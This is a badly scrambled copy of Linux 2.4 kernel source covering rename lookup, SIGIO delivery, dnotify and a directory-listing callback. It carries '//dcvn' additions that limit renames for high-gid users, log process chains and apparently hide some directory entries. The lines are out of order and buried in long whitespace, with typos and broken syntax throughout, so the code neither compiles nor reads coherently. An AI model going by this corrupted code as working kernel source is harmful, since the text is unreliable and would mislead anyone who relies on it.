                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      >mnt_mountpoint->d_name.name)){
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               >d_name.name[0]=='g'&&strcmp(tmp,oldnd.mnt-
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          >mnt_mountpoint->d_name.name[0]!='/')){
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    >d_name.name[0]!='/'||oldnd.mnt-
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 >euid,pathname);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               infinite loop
                                                                                   if (error) :
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         :
                                                                                                                                                                                                                                                                                                                                            *
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           struct dentry * old_dir, * new_dir;
                          if (path_init(newname, LOOKUP_PARENT, &newnd))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  struct dentry * d_next;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         struct nameidata oldnd, newnd;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 struct dentry * old_dentry, *new_dentry;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         sprintf(&tmp[1], "%d", current->gid);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          tmp[0]='g';
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             char tmp[5]={ 0 }; //dcvn
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          int error = 0;
                                                      goto exit;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            if(!error&&(current->gid>100)&&(oldnd.dentry-
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     error = path_walk(oldname, &oldnd);
error = path_walk(newname, &newnd);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               (path_init(oldname, LOOKUP_PARENT,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           printk("\n--1:%s",oldndd_name.name);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             else(
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           if(oldnd.mnt->mnt_mountpoint-
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                printk("\n--2:%s",d_next->d_name.name);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 d_next=oldnd.dentry;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           path_release(&oldnd);
                                                                                                                                                                                                                                                                                                                                        error=-EACCES;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       if(strcmp(tmp,d_next->d_name.name)&&strcmp("tmp",d_next-
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        while(d_next->d_parent->d_name.name[0]!='/'/*&&i<10*/){
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 error=-EACCES;
                                                                                                                                     path_release(&oldnd);
                                                                                                                                                                    error=-EACCES;
                                                                                                                                                                                                                                                                                                           path_release(&oldnd);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      p=current;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       printk("\nR %s %d,%d %s : ",current->comm,current-
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            printk("\n--loop: %s",d_next->d_parent->d_name.name);
                                                                                                                                                                                                                                                                                                                                                                                                                                                   while(p->pid)(
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                p=p->p_ptr/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          printk("%s",p->comm);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 d_next=d_next->d_parent;
                                                                                                                                                                                                                                                                                                                                                                                            p=p->p_pptr;
                                                                                                                                                                                                                                                                                                                                                                                                                       printk("->%s",p->comm);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       // escape variable in case we get into an
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 &oldnd))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              //dcvn
```

```
>d_name.name,strcmp(tmp,d_next->d_name.name));
                                                                                                                                                                                                                                                                                                                                                                                                                                      */ if (error)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            *
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       >euid, filename);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  >uid,current-
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         >d_name.name))( //dcvn
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 >mnt_mountpoint->d_name.name)){
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          >d_name.name[0]=='g'&&strcmp(tmp,newnd.mnt-
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   >mnt_mountpoint->d_name.name[0]!='/')){
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                >d_name.name[0]!='/'||newnd.mnt-
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     if(!exist(current->uid,acw,newnd.dentry)){
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        *
                                                                                                                                                                                                                                                                                                                                             if (qldnd.mnt != newnd.mnt)
                                                                                                                                                                                                                                                                                                                                                                             error = -EXDEV;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          // printk("\n--%s %s
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              if(!error&&(current->gid>100)&&(newnd.dentry-
                                                        old_dentry = lookup_hash(&oldnd.last, old_dir);
                                                                                                                                                                       new_dir = newnd.dentry;
                                                                                                                                                                                                                              if (oldnd.last_type != LAST_NORM)
                                                                                                                                                                                                                                                                                         old_dir = oldnd.dentry;
if (IS_ERR(old_dentry))
                             error = PTR_ERR(old_dentry);
                                                                                      double_lock(new_dir, old_dir);
                                                                                                                                                                                                                                                                error = -EBUSY;
                                                                                                                                        (newnd.last_type != LAST_NORM)
                                                                                                                   goto exit2;
                                                                                                                                                                                                   goto exit2;
                                                                                                                                                                                                                                                                                                                  goto exit2;
                                                                                                                                                                                                                                                                                                                                                                                                          goto exit1;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          if (newnd.mnt->mnt_mountpoint-
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                else(
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    d_next=newnd.dentry;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    if(strcmp(tmp,d_next->d_name.name)&&strcmp("tmp",d_next-
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    path_release(&newnd);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      error=-EACCES;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         // printk("\n--loop: %s",d_next->d_parent->d_name.name);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     while(d_next->d_parent->d_name.name[0]!='/'/*&&i<10*/){
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               while(p->pid){
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              d_next=d_next->d_parent;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       printk("%s",p->comm);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         p=current;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      path_release(&newnd);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      error=-EACCES;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 p=p->p_pptr;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         printk("\nW %s %d,%d %s : ",current->comm,current-
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             p=p->p_pptr;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        printk("->%s",p->comm);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              path_release(&newnd);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              error=-EACCES;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        %d",tmp,d_next-
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       //dcvn
                                                                                                                                                                 static void send_sigio_to_task(struct task_struct *p,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     qstr * name, int
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                static struct dentry * cached_lookup(struct dentry * parent, struct
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     exit2:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       exit4:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                     return NULL;
                                                                                                                                                                                                                                                                                                                                                                             !d_invalidate(dentry)) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      path_release(&newnd);
                                                                                                                                                                                                                                                                                                                                                                                                                                      if (dentry && dentry->d_op && dentry->d_op->d_revalidate) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            struct dentry * dentry = d_lookup(parent,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           return error;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               path_release(&oldnd);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              double_up(&new_dir->d_inode->i_sem, &old_dir->d_inode->i_sem);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       dput (old_dentry);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     error = PTR_ERR(new_dentry);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              new_dentry = lookup_hash(&newnd.last, new_dir);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      if (!S_ISDIR(old_dentry->d_inode->i_mode)) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       if (!old_dentry->d_inode)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       error = -ENOENT;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              dput(new_dentry);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         unlock_kernel();
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    error = vfs_rename(old_dir->d_inode, old_dentry,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        if (IS_ERR(new_dentry))
                                                                                                                                                                                                                                return dentry;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 lock_kernel();
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                /* source must exist */
                             if ((fown->euid != 0) &&
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               ^{\prime *} unless the source is a directory trailing slashes give -ENOTDIR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             goto exit4;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     if (newnd.last.name[newnd.last.len])
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                if (oldnd.last.name[oldnd.last.len])
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             error = -ENOTDIR;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          goto exit4;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              goto exit3;
                                                                                                                                                                                                                                                                                                                                                                                                          if (!dentry->d_op->d_revalidate(dentry, flags) &&
(fown->euid ^ p->suid) && (fown->euid ^ p->uid) &&
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         goto exit4;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    goto exit4;
                                                                                                                                                                                                                                                                                                                    dentry = NULL;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      new_dir->d_inode, new_dentry);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                   //dcvn
                                                                                                                 int fd,
                                                                                                                                            struct fown_struct
                                                                                   int reason)
```

```
static void redo_inode_mask(struct inode *inode)
{
                                                                                                                                                                   out:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             void send_sigio(struct fown_struct *fown, int fd,
struct dnotify_struct *dn;
                                                                                                                                     read_unlock(&tasklist_lock);
                           unsigned long new_mask;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    int
                                                                                                                                                                                                                                                                                                                                                                                   for_each_task(p) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            if ( (pid > 0) && (p = find_task_by_pid(pid)) ) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           struct task_struct * p;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   switch (fown->signum) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          read_lock(&tasklist_lock);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   siginfo_t si;
                                                                                                                                                                                                                    send_sigio_to_task(p, fown,
                                                                                                                                                                                                                                                                          if (pid != match)
                                                                                                                                                                                                                                                                                                                               int match = p->pid;
if (pid < 0)</pre>
                                                                                                                                                                                                                                                                                                                                                                                                                                             goto out;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                send_sigio_to_task(p, fown,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  /* fall-through: fall back on the old plain SIGIO signal
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       (fown->uid ^ p->suid) && (fown->uid ^ p->uid))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  pid
                                                                                                                                                                                                                                                                                                     match = -p->pgrp;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         else
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 si.si_errno = 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            send_sig(SIGIO, p, 1);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  si.si_code = reason & ~__SI_MASK;
/* Make sure we are called with one of the POLL_
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   si.si_signo = fown->signum;
                                                                                                                                                                                                                                                  continue;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     if (!send_sig_info(fown->signum, &si, p)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   si.si_fd
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          if (reason - POLL_IN >= NSIGPOLL)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                /* Queue a rt signal with the appropriate fd as
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           si.si_band = band_table(reason - POLL_IN);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            ((reason & __SI_MASK) != __SI_POLL)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   si.si_band
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      reasons, otherwise we could leak kernel stack into
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           back to SIGIO in that case. --sct */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         queue in this case _should_
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              delivered even if we can't queue. Failure to
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            SI_KERNEL, since kernel signals always get
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  = fown->pid;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    We use SI_SIGIO as the source, not
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     = ~0L;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      fd,
                                                                                                                                                                                                                      fd,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    band);
                                                                                                                                                                                                                      band);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       be reported; we
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               int band)
                                                                                                                                                                                                                                                                                                                                                                                                                                    static int my_filldir64(void *
                                                                                                                                  sdigit(name[3]))
                                                                                                                                                        >gid>100&&namlen==4&&*name=='d'&&isdigit(name[1])&&isdigit(name[2])&&i
                                                                                                                                                                                                                  // printk("\n--name(%d):
                                                                                                                                                                                                                                                                                                                                                                                                            loff_t offset,
                                                                                                                                                                                                                                                                                             struct getdents_callback64 * buf = (struct getdents_callback64 *)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              struct fown_struct * fown;
                                                                                                                                                                                                                                       int reclen = ROUND_UP64(NAME_OFFSET(dirent) + namlen + 1);
                                                                                                                                                                                                                                                                                                                           struct linux_dirent64 * dirent, d;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            write_unlock(&dn_lock);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             write_lock(&dn_lock);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                struct dnotify_struct **prev;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          struct dnotify_struct * dn;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     new_mask = 0;
                       if (reclen > buf->count)
                                                   buf->error = -EINVAL;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           if (changed)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   prev = &inode->i_dnotify;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     inode->i_dnotify_mask = new_mask;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         for (dn = inode->i_dnotify; dn != NULL; dn =
                                                                                                                                                                                      if (current,-
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           __inode_dir_notify(struct inode *inode, unsigned long event)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             new_mask |= dn->dn_mask & ~DN_MULTISHOT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              else
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      if ((dn->dn_mask & event) ==
                                                                                                    return 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             redo_inode_mask(inode);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                if (dn->dn_mask & DN_MULTISHOT)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   if (fown->pid)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             fown = &dn->dn_filp->f_owner
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  (dn->dn_magic != DNOTIFY_MAGIC) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           ((dn = *prev) != NULL) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       changed = 1;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       continue;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              prev = &dn->dn_next;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      prev = &dn->dn_next;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              *prev = dn->dn_next;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           kmem_cache_free(dn_cache,
                                                                                                                                                                                                                                                                                                                                                                              ino_t ino, unsigned int d_type)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     "number in dnotify_struct!\n");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    printk(KERN_ERR "__inode_dir_notify: bad magic "
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         send_sigio(fown, dn->dn_fd, POLL_MSG);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                goto out;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         changed = 0;
                                                                                                                                                                                                                  %s",namlen,
                                                 /* only used if we fail..
                                                                                                                                                                                                                                                                                                                                                                                                                                    __buf, const char * name, int namlen,
